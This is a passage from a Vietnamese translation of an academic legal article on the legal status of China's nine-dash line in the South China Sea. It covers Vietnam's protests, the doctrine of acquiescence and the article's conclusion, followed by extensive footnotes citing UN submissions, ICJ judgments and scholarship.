ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên 